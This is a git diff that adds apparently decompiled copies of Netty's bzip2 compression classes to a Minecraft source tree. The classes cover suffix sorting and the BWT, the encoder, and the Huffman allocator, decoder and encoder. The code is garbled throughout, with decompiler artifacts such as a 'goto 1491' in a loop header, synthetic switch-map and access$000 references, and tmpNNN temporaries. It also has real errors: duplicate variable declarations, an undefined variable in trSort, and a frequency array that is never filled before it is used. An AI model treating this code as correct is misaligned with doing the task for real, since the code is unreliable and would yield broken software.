+          while ((b < --c) && ((x = trGetC(isa, isaD, isaN, SA[c])) >= v)) {
+            if (x == v) {
+              swapElements(SA, c, SA, d);
+              d--;
+            }
+          }
+        }
+        for (; b < c; 
+            
+
+
+
+
+
+
+
+
+
+            goto 1491)
+        {
+          swapElements(SA, b, SA, c);
+          for (;;) { b++; if ((b >= c) || ((x = trGetC(isa, isaD, isaN, SA[b])) > v)) break;
+            if (x == v) {
+              swapElements(SA, b, SA, a);
+              a++;
+            }
+          }
+          while ((b < --c) && ((x = trGetC(isa, isaD, isaN, SA[c])) >= v)) {
+            if (x == v) {
+              swapElements(SA, c, SA, d);
+              d--;
+            }
+          }
+        }
+        
+        if (a <= d) {
+          c = b - 1;
+          int s;
+          int t; if ((s = a - first) > (t = b - a)) {
+            s = t;
+          }
+          int e = first; for (int f = b - s; 0 < s; f++) {
+            swapElements(SA, e, SA, f);s--;e++;
+          }
+          if ((s = d - c) > (t = last - d - 1)) {
+            s = t;
+          }
+          e = b; for (f = last - s; 0 < s; f++) {
+            swapElements(SA, e, SA, f);s--;e++;
+          }
+          
+          a = first + (b - a);
+          b = last - (d - c);
+          int next = SA[(isa + SA[a])] != v ? trLog(b - a) : -1;
+          
+          c = first; for (v = a - 1; c < a; c++) {
+            SA[(isa + SA[c])] = v;
+          }
+          if (b < last) {
+            c = a; for (v = b - 1; c < b; c++) {
+              SA[(isa + SA[c])] = v;
+            }
+          }
+          if (a - first <= last - b) {
+            if (last - b <= b - a) {
+              if (1 < a - first) {
+                stack[(ssize++)] = new StackEntry(isaD + 1, a, b, next);
+                stack[(ssize++)] = new StackEntry(isaD, b, last, limit);
+                last = a;
+              } else if (1 < last - b) {
+                stack[(ssize++)] = new StackEntry(isaD + 1, a, b, next);
+                first = b;
+              } else if (1 < b - a) {
+                isaD++;
+                first = a;
+                last = b;
+                limit = next;
+              } else {
+                if (ssize == 0) {
+                  return;
+                }
+                StackEntry entry = stack[(--ssize)];
+                isaD = a;
+                first = b;
+                last = c;
+                limit = d;
+              }
+            } else if (a - first <= b - a) {
+              if (1 < a - first) {
+                stack[(ssize++)] = new StackEntry(isaD, b, last, limit);
+                stack[(ssize++)] = new StackEntry(isaD + 1, a, b, next);
+                last = a;
+              } else if (1 < b - a) {
+                stack[(ssize++)] = new StackEntry(isaD, b, last, limit);
+                isaD++;
+                first = a;
+                last = b;
+                limit = next;
+              } else {
+                first = b;
+              }
+            }
+            else if (1 < b - a) {
+              stack[(ssize++)] = new StackEntry(isaD, b, last, limit);
+              stack[(ssize++)] = new StackEntry(isaD, first, a, limit);
+              isaD++;
+              first = a;
+              last = b;
+              limit = next;
+            } else {
+              stack[(ssize++)] = new StackEntry(isaD, b, last, limit);
+              last = a;
+            }
+            
+          }
+          else if (a - first <= b - a) {
+            if (1 < last - b) {
+              stack[(ssize++)] = new StackEntry(isaD + 1, a, b, next);
+              stack[(ssize++)] = new StackEntry(isaD, first, a, limit);
+              first = b;
+            } else if (1 < a - first) {
+              stack[(ssize++)] = new StackEntry(isaD + 1, a, b, next);
+              last = a;
+            } else if (1 < b - a) {
+              isaD++;
+              first = a;
+              last = b;
+              limit = next;
+            } else {
+              stack[(ssize++)] = new StackEntry(isaD, first, last, limit);
+            }
+          } else if (last - b <= b - a) {
+            if (1 < last - b) {
+              stack[(ssize++)] = new StackEntry(isaD, first, a, limit);
+              stack[(ssize++)] = new StackEntry(isaD + 1, a, b, next);
+              first = b;
+            } else if (1 < b - a) {
+              stack[(ssize++)] = new StackEntry(isaD, first, a, limit);
+              isaD++;
+              first = a;
+              last = b;
+              limit = next;
+            } else {
+              last = a;
+            }
+          }
+          else if (1 < b - a) {
+            stack[(ssize++)] = new StackEntry(isaD, first, a, limit);
+            stack[(ssize++)] = new StackEntry(isaD, b, last, limit);
+            isaD++;
+            first = a;
+            last = b;
+            limit = next;
+          } else {
+            stack[(ssize++)] = new StackEntry(isaD, first, a, limit);
+            first = b;
+          }
+        }
+        else
+        {
+          if (!budget.update(size, last - first)) {
+            break;
+          }
+          limit++;isaD++;
+        }
+      }
+    }
+    for (int s = 0; s < ssize; s++) {
+      if (d == -3) {
+        lsUpdateGroup(isa, b, c);
+      }
+    }
+  }
+  
+  private static class TRBudget {
+    int budget;
+    int chance;
+    
+    TRBudget(int budget, int chance) {
+      this.budget = budget;
+      this.chance = chance;
+    }
+    
+    boolean update(int size, int n) {
+      budget -= n;
+      if (budget <= 0) {
+        if (--chance == 0) {
+          return false;
+        }
+        budget += size;
+      }
+      return true;
+    }
+  }
+  
+  private void trSort(int isa, int n, int depth) {
+    int[] SA = this.SA;
+    
+    int first = 0;
+    
+
+    if (-n < SA[0]) {
+      TRBudget budget = new TRBudget(n, trLog(n) * 2 / 3 + 1);
+      do { int t;
+        if ((t = SA[first]) < 0) {
+          first -= t;
+        } else {
+          int last = SA[(isa + t)] + 1;
+          if (1 < last - first) {
+            trIntroSort(isa, isa + depth, isa + n, first, last, budget, n);
+            if (chance == 0)
+            {
+              if (0 < first) {
+                SA[0] = (-first);
+              }
+              lsSort(isa, n, depth);
+              break;
+            }
+          }
+          first = last;
+        }
+      } while (first < n);
+    }
+  }
+  
+
+  private static int BUCKET_B(int c0, int c1)
+  {
+    return c1 << 8 | c0;
+  }
+  
+  private static int BUCKET_BSTAR(int c0, int c1) {
+    return c0 << 8 | c1;
+  }
+  
+  private int sortTypeBstar(int[] bucketA, int[] bucketB) {
+    byte[] T = this.T;
+    int[] SA = this.SA;
+    int n = this.n;
+    int[] tempbuf = new int['Ā'];
+    
+
+
+
+
+
+
+    int i = 1; for (int flag = 1; i < n; i++) {
+      if (T[(i - 1)] != T[i]) {
+        if ((T[(i - 1)] & 0xFF) <= (T[i] & 0xFF)) break;
+        flag = 0; break;
+      }
+    }
+    
+
+    i = n - 1;
+    int m = n;
+    int ti;
+    int t0;
+    if (((ti = T[i] & 0xFF) < (t0 = T[0] & 0xFF)) || ((T[i] == T[0]) && (flag != 0))) {
+      if (flag == 0) {
+        bucketB[BUCKET_BSTAR(ti, t0)] += 1;
+        SA[(--m)] = i;
+      } else {
+        bucketB[BUCKET_B(ti, t0)] += 1; }
+      int ti1;
+      for (i--; (0 <= i) && ((ti = T[i] & 0xFF) <= (ti1 = T[(i + 1)] & 0xFF)); i--) {
+        bucketB[BUCKET_B(ti, ti1)] += 1;
+      }
+    }
+    
+    while (0 <= i) {
+      do {
+        bucketA[(T[i] & 0xFF)] += 1;
+      } while ((0 <= --i) && ((T[i] & 0xFF) >= (T[(i + 1)] & 0xFF)));
+      if (0 <= i) {
+        bucketB[BUCKET_BSTAR(T[i] & 0xFF, T[(i + 1)] & 0xFF)] += 1;
+        SA[(--m)] = i;
+        int ti1; for (i--; (0 <= i) && ((ti = T[i] & 0xFF) <= (ti1 = T[(i + 1)] & 0xFF)); i--) {
+          bucketB[BUCKET_B(ti, ti1)] += 1;
+        }
+      }
+    }
+    m = n - m;
+    if (m == 0) {
+      for (i = 0; i < n; i++) {
+        SA[i] = i;
+      }
+      return 0;
+    }
+    
+    int c0 = 0;i = -1; for (int j = 0; c0 < 256; c0++) {
+      int t = i + bucketA[c0];
+      bucketA[c0] = (i + j);
+      i = t + bucketB[BUCKET_B(c0, c0)];
+      for (int c1 = c0 + 1; c1 < 256; c1++) {
+        j += bucketB[BUCKET_BSTAR(c0, c1)];
+        bucketB[(c0 << 8 | c1)] = j;
+        i += bucketB[BUCKET_B(c0, c1)];
+      }
+    }
+    
+    int PAb = n - m;
+    int ISAb = m;
+    for (i = m - 2; 0 <= i; i--) {
+      int t = SA[(PAb + i)];
+      c0 = T[t] & 0xFF;
+      int c1 = T[(t + 1)] & 0xFF; int 
+        tmp596_593 = BUCKET_BSTAR(c0, c1); int[] tmp596_588 = bucketB; int tmp600_599 = (tmp596_588[tmp596_593] - 1);tmp596_588[tmp596_593] = tmp600_599;SA[tmp600_599] = i;
+    }
+    int t = SA[(PAb + m - 1)];
+    c0 = T[t] & 0xFF;
+    int c1 = T[(t + 1)] & 0xFF; int 
+      tmp655_652 = BUCKET_BSTAR(c0, c1); int[] tmp655_647 = bucketB; int tmp659_658 = (tmp655_647[tmp655_652] - 1);tmp655_647[tmp655_652] = tmp659_658;SA[tmp659_658] = (m - 1);
+    
+    int[] buf = SA;
+    int bufoffset = m;
+    int bufsize = n - 2 * m;
+    if (bufsize <= 256) {
+      buf = tempbuf;
+      bufoffset = 0;
+      bufsize = 256;
+    }
+    
+    c0 = 255; for (j = m; 0 < j; c0--) {
+      for (c1 = 255; c0 < c1; c1--) {
+        i = bucketB[BUCKET_BSTAR(c0, c1)];
+        if (1 < j - i) {
+          subStringSort(PAb, i, j, buf, bufoffset, bufsize, 2, SA[i] == m - 1, n);
+        }
+        j = i;
+      }
+    }
+    
+
+
+
+
+    for (i = m - 1; 0 <= i; i--) {
+      if (0 <= SA[i]) {
+        j = i;
+        do {
+          SA[(ISAb + SA[i])] = i;
+        } while ((0 <= --i) && (0 <= SA[i]));
+        SA[(i + 1)] = (i - j);
+        if (i <= 0) {
+          break;
+        }
+      }
+      j = i;
+      do {
+        int tmp897_896 = (SA[i] ^ 0xFFFFFFFF);SA[i] = tmp897_896;SA[(ISAb + tmp897_896)] = j;
+      } while (SA[(--i)] < 0);
+      SA[(ISAb + SA[i])] = j;
+    }
+    
+    trSort(ISAb, m, 1);
+    
+    i = n - 1;j = m;
+    if (((T[i] & 0xFF) < (T[0] & 0xFF)) || ((T[i] == T[0]) && (flag != 0))) {
+      if (flag == 0) {
+        SA[SA[(ISAb + --j)]] = i;
+      }
+      for (i--; (0 <= i) && ((T[i] & 0xFF) <= (T[(i + 1)] & 0xFF));) {
+        i--;
+      }
+    }
+    while (0 <= i) {
+      for (i--; (0 <= i) && ((T[i] & 0xFF) >= (T[(i + 1)] & 0xFF));) {
+        i--;
+      }
+      if (0 <= i) {
+        SA[SA[(ISAb + --j)]] = i;
+        for (i--; (0 <= i) && ((T[i] & 0xFF) <= (T[(i + 1)] & 0xFF));) {
+          i--;
+        }
+      }
+    }
+    
+    c0 = 255;i = n - 1; for (int k = m - 1; 0 <= c0; c0--) {
+      for (c1 = 255; c0 < c1; c1--) {
+        t = i - bucketB[BUCKET_B(c0, c1)];
+        bucketB[BUCKET_B(c0, c1)] = (i + 1);
+        
+        i = t; for (j = bucketB[BUCKET_BSTAR(c0, c1)]; j <= k; k--) {
+          SA[i] = SA[k];i--;
+        }
+      }
+      t = i - bucketB[BUCKET_B(c0, c0)];
+      bucketB[BUCKET_B(c0, c0)] = (i + 1);
+      if (c0 < 255) {
+        bucketB[BUCKET_BSTAR(c0, c0 + 1)] = (t + 1);
+      }
+      i = bucketA[c0];
+    }
+    return m;
+  }
+  
+  private int constructBWT(int[] bucketA, int[] bucketB) {
+    byte[] T = this.T;
+    int[] SA = this.SA;
+    int n = this.n;
+    
+    int t = 0;
+    
+    int c2 = 0;
+    int orig = -1;
+    
+    for (int c1 = 254; 0 <= c1; c1--) {
+      int i = bucketB[BUCKET_BSTAR(c1, c1 + 1)];int j = bucketA[(c1 + 1)];t = 0;c2 = -1;
+      for (; i <= j; 
+          j--) { int s;
+        int s1; if (0 <= (s1 = s = SA[j])) {
+          s--; if (s < 0)
+            s = n - 1;
+          int c0;
+          if ((c0 = T[s] & 0xFF) <= c1) {
+            SA[j] = (s1 ^ 0xFFFFFFFF);
+            if ((0 < s) && ((T[(s - 1)] & 0xFF) > c0)) {
+              s ^= 0xFFFFFFFF;
+            }
+            if (c2 == c0) {
+              SA[(--t)] = s;
+            } else {
+              if (0 <= c2) {
+                bucketB[BUCKET_B(c2, c1)] = t;
+              }
+              int tmp205_204 = (bucketB[BUCKET_B(c2 = c0, c1)] - 1);t = tmp205_204;SA[tmp205_204] = s;
+            }
+          }
+        } else {
+          SA[j] = (s ^ 0xFFFFFFFF);
+        }
+      }
+    }
+    
+    for (int i = 0; i < n; i++) { int s;
+      int s1; if (0 <= (s1 = s = SA[i])) {
+        s--; if (s < 0)
+          s = n - 1;
+        int c0;
+        if ((c0 = T[s] & 0xFF) >= (T[(s + 1)] & 0xFF)) {
+          if ((0 < s) && ((T[(s - 1)] & 0xFF) < c0)) {
+            s ^= 0xFFFFFFFF;
+          }
+          if (c0 == c2) {
+            SA[(++t)] = s;
+          } else {
+            if (c2 != -1) {
+              bucketA[c2] = t;
+            }
+            int tmp368_367 = (bucketA[(c2 = c0)] + 1);t = tmp368_367;SA[tmp368_367] = s;
+          }
+        }
+      } else {
+        s1 ^= 0xFFFFFFFF;
+      }
+      
+      if (s1 == 0) {
+        SA[i] = T[(n - 1)];
+        orig = i;
+      } else {
+        SA[i] = T[(s1 - 1)];
+      }
+    }
+    return orig;
+  }
+  
+
+
+
+  public int bwt()
+  {
+    int[] SA = this.SA;
+    byte[] T = this.T;
+    int n = this.n;
+    
+    int[] bucketA = new int['Ā'];
+    int[] bucketB = new int[65536];
+    
+    if (n == 0) {
+      return 0;
+    }
+    if (n == 1) {
+      SA[0] = T[0];
+      return 0;
+    }
+    
+    int m = sortTypeBstar(bucketA, bucketB);
+    if (0 < m) {
+      return constructBWT(bucketA, bucketB);
+    }
+    return 0;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/compression/Bzip2Encoder.java b/src/minecraft/io/netty/handler/codec/compression/Bzip2Encoder.java
new file mode 100644
index 0000000..ecb3533
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/compression/Bzip2Encoder.java
@@ -0,0 +1,251 @@
+package io.netty.handler.codec.compression;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.ByteBufAllocator;
+import io.netty.channel.ChannelFuture;
+import io.netty.channel.ChannelFutureListener;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.channel.ChannelPromise;
+import io.netty.channel.ChannelPromiseNotifier;
+import io.netty.handler.codec.MessageToByteEncoder;
+import io.netty.util.concurrent.EventExecutor;
+import java.util.concurrent.TimeUnit;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class Bzip2Encoder
+  extends MessageToByteEncoder<ByteBuf>
+{
+  private static enum State
+  {
+    INIT, 
+    INIT_BLOCK, 
+    WRITE_DATA, 
+    CLOSE_BLOCK;
+    
+    private State() {} }
+  private State currentState = State.INIT;
+  
+
+
+
+  private final Bzip2BitWriter writer = new Bzip2BitWriter();
+  
+
+
+
+  private final int streamBlockSize;
+  
+
+
+
+  private int streamCRC;
+  
+
+
+
+  private Bzip2BlockCompressor blockCompressor;
+  
+
+
+
+  private volatile boolean finished;
+  
+
+
+  private volatile ChannelHandlerContext ctx;
+  
+
+
+
+  public Bzip2Encoder()
+  {
+    this(9);
+  }
+  
+
+
+
+
+
+
+  public Bzip2Encoder(int blockSizeMultiplier)
+  {
+    if ((blockSizeMultiplier < 1) || (blockSizeMultiplier > 9)) {
+      throw new IllegalArgumentException("blockSizeMultiplier: " + blockSizeMultiplier + " (expected: 1-9)");
+    }
+    
+    streamBlockSize = (blockSizeMultiplier * 100000);
+  }
+  
+  protected void encode(ChannelHandlerContext ctx, ByteBuf in, ByteBuf out) throws Exception
+  {
+    if (finished) {
+      out.writeBytes(in);
+    }
+    else
+    {
+      for (;;) {
+        switch (4.$SwitchMap$io$netty$handler$codec$compression$Bzip2Encoder$State[currentState.ordinal()]) {
+        case 1: 
+          out.ensureWritable(4);
+          out.writeMedium(4348520);
+          out.writeByte(48 + streamBlockSize / 100000);
+          currentState = State.INIT_BLOCK;
+        case 2: 
+          this.blockCompressor = new Bzip2BlockCompressor(writer, streamBlockSize);
+          currentState = State.WRITE_DATA;
+        case 3: 
+          if (!in.isReadable()) {
+            return;
+          }
+          Bzip2BlockCompressor blockCompressor = this.blockCompressor;
+          int length = Math.min(in.readableBytes(), blockCompressor.availableSize());
+          int bytesWritten = blockCompressor.write(in, in.readerIndex(), length);
+          in.skipBytes(bytesWritten);
+          if (!blockCompressor.isFull()) {
+            if (in.isReadable()) {}
+
+
+          }
+          else
+          {
+            currentState = State.CLOSE_BLOCK; }
+          break;
+        case 4:  closeBlock(out);
+          currentState = State.INIT_BLOCK;
+        }
+      }
+      throw new IllegalStateException();
+    }
+  }
+  
+
+
+
+  private void closeBlock(ByteBuf out)
+  {
+    Bzip2BlockCompressor blockCompressor = this.blockCompressor;
+    if (!blockCompressor.isEmpty()) {
+      blockCompressor.close(out);
+      int blockCRC = blockCompressor.crc();
+      streamCRC = ((streamCRC << 1 | streamCRC >>> 31) ^ blockCRC);
+    }
+  }
+  
+
+
+  public boolean isClosed()
+  {
+    return finished;
+  }
+  
+
+
+
+
+  public ChannelFuture close()
+  {
+    return close(ctx().newPromise());
+  }
+  
+
+
+
+
+  public ChannelFuture close(final ChannelPromise promise)
+  {
+    ChannelHandlerContext ctx = ctx();
+    EventExecutor executor = ctx.executor();
+    if (executor.inEventLoop()) {
+      return finishEncode(ctx, promise);
+    }
+    executor.execute(new Runnable()
+    {
+      public void run() {
+        ChannelFuture f = Bzip2Encoder.this.finishEncode(Bzip2Encoder.access$000(Bzip2Encoder.this), promise);
+        f.addListener(new ChannelPromiseNotifier(new ChannelPromise[] { promise }));
+      }
+    });
+    return promise;
+  }
+  
+  public void close(final ChannelHandlerContext ctx, final ChannelPromise promise)
+    throws Exception
+  {
+    ChannelFuture f = finishEncode(ctx, ctx.newPromise());
+    f.addListener(new ChannelFutureListener()
+    {
+      public void operationComplete(ChannelFuture f) throws Exception {
+        ctx.close(promise);
+      }
+    });
+    
+    if (!f.isDone())
+    {
+      ctx.executor().schedule(new Runnable()
+      {
+
+        public void run() { ctx.close(promise); } }, 10L, TimeUnit.SECONDS);
+    }
+  }
+  
+
+  private ChannelFuture finishEncode(ChannelHandlerContext ctx, ChannelPromise promise)
+  {
+    if (finished) {
+      promise.setSuccess();
+      return promise;
+    }
+    finished = true;
+    
+    ByteBuf footer = ctx.alloc().buffer();
+    closeBlock(footer);
+    
+    int streamCRC = this.streamCRC;
+    Bzip2BitWriter writer = this.writer;
+    try {
+      writer.writeBits(footer, 24, 1536581L);
+      writer.writeBits(footer, 24, 3690640L);
+      writer.writeInt(footer, streamCRC);
+      writer.flush(footer);
+    } finally {
+      blockCompressor = null;
+    }
+    return ctx.writeAndFlush(footer, promise);
+  }
+  
+  private ChannelHandlerContext ctx() {
+    ChannelHandlerContext ctx = this.ctx;
+    if (ctx == null) {
+      throw new IllegalStateException("not added to a pipeline");
+    }
+    return ctx;
+  }
+  
+  public void handlerAdded(ChannelHandlerContext ctx) throws Exception
+  {
+    this.ctx = ctx;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/compression/Bzip2HuffmanAllocator.java b/src/minecraft/io/netty/handler/codec/compression/Bzip2HuffmanAllocator.java
new file mode 100644
index 0000000..541bac8
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/compression/Bzip2HuffmanAllocator.java
@@ -0,0 +1,183 @@
+package io.netty.handler.codec.compression;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class Bzip2HuffmanAllocator
+{
+  private static int first(int[] array, int i, int nodesToMove)
+  {
+    int length = array.length;
+    int limit = i;
+    int k = array.length - 2;
+    
+    while ((i >= nodesToMove) && (array[i] % length > limit)) {
+      k = i;
+      i -= limit - i + 1;
+    }
+    i = Math.max(nodesToMove - 1, i);
+    
+    while (k > i + 1) {
+      int temp = i + k >>> 1;
+      if (array[temp] % length > limit) {
+        k = temp;
+      } else {
+        i = temp;
+      }
+    }
+    return k;
+  }
+  
+
+
+
+  private static void setExtendedParentPointers(int[] array)
+  {
+    int length = array.length;
+    array[0] += array[1];
+    
+    int headNode = 0;int tailNode = 1; for (int topNode = 2; tailNode < length - 1; tailNode++) {
+      int temp;
+      if ((topNode >= length) || (array[headNode] < array[topNode])) {
+        int temp = array[headNode];
+        array[(headNode++)] = tailNode;
+      } else {
+        temp = array[(topNode++)];
+      }
+      
+      if ((topNode >= length) || ((headNode < tailNode) && (array[headNode] < array[topNode]))) {
+        temp += array[headNode];
+        array[(headNode++)] = (tailNode + length);
+      } else {
+        temp += array[(topNode++)];
+      }
+      array[tailNode] = temp;
+    }
+  }
+  
+
+
+
+
+
+  private static int findNodesToRelocate(int[] array, int maximumLength)
+  {
+    int currentNode = array.length - 2;
+    for (int currentDepth = 1; (currentDepth < maximumLength - 1) && (currentNode > 1); currentDepth++) {
+      currentNode = first(array, currentNode - 1, 0);
+    }
+    return currentNode;
+  }
+  
+
+
+
+  private static void allocateNodeLengths(int[] array)
+  {
+    int firstNode = array.length - 2;
+    int nextNode = array.length - 1;
+    
+    int currentDepth = 1; for (int availableNodes = 2; availableNodes > 0; currentDepth++) {
+      int lastNode = firstNode;
+      firstNode = first(array, lastNode - 1, 0);
+      
+      for (int i = availableNodes - (lastNode - firstNode); i > 0; i--) {
+        array[(nextNode--)] = currentDepth;
+      }
+      
+      availableNodes = lastNode - firstNode << 1;
+    }
+  }
+  
+
+
+
+
+
+
+  private static void allocateNodeLengthsWithRelocation(int[] array, int nodesToMove, int insertDepth)
+  {
+    int firstNode = array.length - 2;
+    int nextNode = array.length - 1;
+    int currentDepth = insertDepth == 1 ? 2 : 1;
+    int nodesLeftToMove = insertDepth == 1 ? nodesToMove - 2 : nodesToMove;
+    
+    for (int availableNodes = currentDepth << 1; availableNodes > 0; currentDepth++) {
+      int lastNode = firstNode;
+      firstNode = firstNode <= nodesToMove ? firstNode : first(array, lastNode - 1, nodesToMove);
+      
+      int offset = 0;
+      if (currentDepth >= insertDepth) {
+        offset = Math.min(nodesLeftToMove, 1 << currentDepth - insertDepth);
+      } else if (currentDepth == insertDepth - 1) {
+        offset = 1;
+        if (array[firstNode] == lastNode) {
+          firstNode++;
+        }
+      }
+      
+      for (int i = availableNodes - (lastNode - firstNode + offset); i > 0; i--) {
+        array[(nextNode--)] = currentDepth;
+      }
+      
+      nodesLeftToMove -= offset;
+      availableNodes = lastNode - firstNode + offset << 1;
+    }
+  }
+  
+
+
+
+
+
+  static void allocateHuffmanCodeLengths(int[] array, int maximumLength)
+  {
+    switch (array.length) {
+    case 2: 
+      array[1] = 1;
+    case 1: 
+      array[0] = 1;
+      return;
+    }
+    
+    
+    setExtendedParentPointers(array);
+    
+
+    int nodesToRelocate = findNodesToRelocate(array, maximumLength);
+    
+
+    if (array[0] % array.length >= nodesToRelocate) {
+      allocateNodeLengths(array);
+    } else {
+      int insertDepth = maximumLength - (32 - Integer.numberOfLeadingZeros(nodesToRelocate - 1));
+      allocateNodeLengthsWithRelocation(array, nodesToRelocate, insertDepth);
+    }
+  }
+  
+  private Bzip2HuffmanAllocator() {}
+}
diff --git a/src/minecraft/io/netty/handler/codec/compression/Bzip2HuffmanStageDecoder.java b/src/minecraft/io/netty/handler/codec/compression/Bzip2HuffmanStageDecoder.java
new file mode 100644
index 0000000..17d0096
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/compression/Bzip2HuffmanStageDecoder.java
@@ -0,0 +1,201 @@
+package io.netty.handler.codec.compression;
+
+
+
+
+
+
+
+
+final class Bzip2HuffmanStageDecoder
+{
+  private final Bzip2BitReader reader;
+  
+
+
+
+
+
+
+  byte[] selectors;
+  
+
+
+
+
+
+
+  private final int[] minimumLengths;
+  
+
+
+
+
+
+
+  private final int[][] codeBases;
+  
+
+
+
+
+
+  private final int[][] codeLimits;
+  
+
+
+
+
+
+  private final int[][] codeSymbols;
+  
+
+
+
+
+
+  private int currentTable;
+  
+
+
+
+
+
+  private int groupIndex = -1;
+  
+
+
+
+  private int groupPosition = -1;
+  
+
+
+
+  final int totalTables;
+  
+
+
+
+  final int alphabetSize;
+  
+
+
+
+  final Bzip2MoveToFrontTable tableMTF = new Bzip2MoveToFrontTable();
+  
+
+  int currentSelector;
+  
+
+  final byte[][] tableCodeLengths;
+  
+
+  int currentGroup;
+  
+
+  int currentLength = -1;
+  int currentAlpha;
+  boolean modifyLength;
+  
+  Bzip2HuffmanStageDecoder(Bzip2BitReader reader, int totalTables, int alphabetSize) {
+    this.reader = reader;
+    this.totalTables = totalTables;
+    this.alphabetSize = alphabetSize;
+    
+    minimumLengths = new int[totalTables];
+    codeBases = new int[totalTables][25];
+    codeLimits = new int[totalTables][24];
+    codeSymbols = new int[totalTables]['Ă'];
+    tableCodeLengths = new byte[totalTables]['Ă'];
+  }
+  
+
+
+  void createHuffmanDecodingTables()
+  {
+    int alphabetSize = this.alphabetSize;
+    
+    for (int table = 0; table < tableCodeLengths.length; table++) {
+      int[] tableBases = codeBases[table];
+      int[] tableLimits = codeLimits[table];
+      int[] tableSymbols = codeSymbols[table];
+      byte[] codeLengths = tableCodeLengths[table];
+      
+      int minimumLength = 23;
+      int maximumLength = 0;
+      
+
+      for (int i = 0; i < alphabetSize; i++) {
+        byte currLength = codeLengths[i];
+        maximumLength = Math.max(currLength, maximumLength);
+        minimumLength = Math.min(currLength, minimumLength);
+      }
+      minimumLengths[table] = minimumLength;
+      
+
+      for (int i = 0; i < alphabetSize; i++) {
+        tableBases[(codeLengths[i] + 1)] += 1;
+      }
+      int i = 1; for (int b = tableBases[0]; i < 25; i++) {
+        b += tableBases[i];
+        tableBases[i] = b;
+      }
+      
+
+
+      int i = minimumLength; for (int code = 0; i <= maximumLength; i++) {
+        int base = code;
+        code += tableBases[(i + 1)] - tableBases[i];
+        tableBases[i] = (base - tableBases[i]);
+        tableLimits[i] = (code - 1);
+        code <<= 1;
+      }
+      
+
+      int bitLength = minimumLength; for (int codeIndex = 0; bitLength <= maximumLength; bitLength++) {
+        for (int symbol = 0; symbol < alphabetSize; symbol++) {
+          if (codeLengths[symbol] == bitLength) {
+            tableSymbols[(codeIndex++)] = symbol;
+          }
+        }
+      }
+    }
+    
+    currentTable = selectors[0];
+  }
+  
+
+
+
+
+  int nextSymbol()
+  {
+    if (++groupPosition % 50 == 0) {
+      groupIndex += 1;
+      if (groupIndex == selectors.length) {
+        throw new DecompressionException("error decoding block");
+      }
+      this.currentTable = (selectors[groupIndex] & 0xFF);
+    }
+    
+    Bzip2BitReader reader = this.reader;
+    int currentTable = this.currentTable;
+    int[] tableLimits = codeLimits[currentTable];
+    int[] tableBases = codeBases[currentTable];
+    int[] tableSymbols = codeSymbols[currentTable];
+    int codeLength = minimumLengths[currentTable];
+    
+
+
+    int codeBits = reader.readBits(codeLength);
+    for (; codeLength <= 23; codeLength++) {
+      if (codeBits <= tableLimits[codeLength])
+      {
+        return tableSymbols[(codeBits - tableBases[codeLength])];
+      }
+      codeBits = codeBits << 1 | reader.readBits(1);
+    }
+    
+    throw new DecompressionException("a valid code was not recognised");
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/compression/Bzip2HuffmanStageEncoder.java b/src/minecraft/io/netty/handler/codec/compression/Bzip2HuffmanStageEncoder.java
new file mode 100644
index 0000000..fc6845f
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/compression/Bzip2HuffmanStageEncoder.java
@@ -0,0 +1,374 @@
+package io.netty.handler.codec.compression;
+
+import io.netty.buffer.ByteBuf;
+import java.util.Arrays;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class Bzip2HuffmanStageEncoder
+{
+  private static final int HUFFMAN_HIGH_SYMBOL_COST = 15;
+  private final Bzip2BitWriter writer;
+  private final char[] mtfBlock;
+  private final int mtfLength;
+  private final int mtfAlphabetSize;
+  private final int[] mtfSymbolFrequencies;
+  private final int[][] huffmanCodeLengths;
+  private final int[][] huffmanMergedCodeSymbols;
+  private final byte[] selectors;
+  
+  Bzip2HuffmanStageEncoder(Bzip2BitWriter writer, char[] mtfBlock, int mtfLength, int mtfAlphabetSize, int[] mtfSymbolFrequencies)
+  {
+    this.writer = writer;
+    this.mtfBlock = mtfBlock;
+    this.mtfLength = mtfLength;
+    this.mtfAlphabetSize = mtfAlphabetSize;
+    this.mtfSymbolFrequencies = mtfSymbolFrequencies;
+    
+    int totalTables = selectTableCount(mtfLength);
+    
+    huffmanCodeLengths = new int[totalTables][mtfAlphabetSize];
+    huffmanMergedCodeSymbols = new int[totalTables][mtfAlphabetSize];
+    selectors = new byte[(mtfLength + 50 - 1) / 50];
+  }
+  
+
+
+
+
+  private static int selectTableCount(int mtfLength)
+  {
+    if (mtfLength >= 2400) {
+      return 6;
+    }
+    if (mtfLength >= 1200) {
+      return 5;
+    }
+    if (mtfLength >= 600) {
+      return 4;
+    }
+    if (mtfLength >= 200) {
+      return 3;
+    }
+    return 2;
+  }
+  
+
+
+
+
+
+
+
+  private static void generateHuffmanCodeLengths(int alphabetSize, int[] symbolFrequencies, int[] codeLengths)
+  {
+    int[] mergedFrequenciesAndIndices = new int[alphabetSize];
+    int[] sortedFrequencies = new int[alphabetSize];
+    
+
+
+
+
+
+
+
+
+
+    for (int i = 0; i < alphabetSize; i++) {
+      mergedFrequenciesAndIndices[i] = (symbolFrequencies[i] << 9 | i);
+    }
+    Arrays.sort(mergedFrequenciesAndIndices);
+    for (int i = 0; i < alphabetSize; i++) {
+      mergedFrequenciesAndIndices[i] >>>= 9;
+    }
+    
+
+
+    Bzip2HuffmanAllocator.allocateHuffmanCodeLengths(sortedFrequencies, 20);
+    
+
+    for (int i = 0; i < alphabetSize; i++) {
+      codeLengths[(mergedFrequenciesAndIndices[i] & 0x1FF)] = sortedFrequencies[i];
+    }
+  }
+  
+
+
+
+
+
+  private void generateHuffmanOptimisationSeeds()
+  {
+    int[][] huffmanCodeLengths = this.huffmanCodeLengths;
+    int[] mtfSymbolFrequencies = this.mtfSymbolFrequencies;
